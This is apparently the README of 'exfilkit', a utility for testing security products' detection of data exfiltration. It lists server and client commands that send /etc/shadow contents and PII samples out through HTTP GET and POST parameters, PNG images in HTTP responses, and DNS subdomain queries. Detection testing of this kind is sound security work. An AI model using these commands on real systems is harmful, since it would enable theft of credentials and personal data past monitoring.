exfilkit

Data exfiltration utility for testing detection capabilities

Description

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

Exfiltration How-To

/etc/shadow -> HTTP GET requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r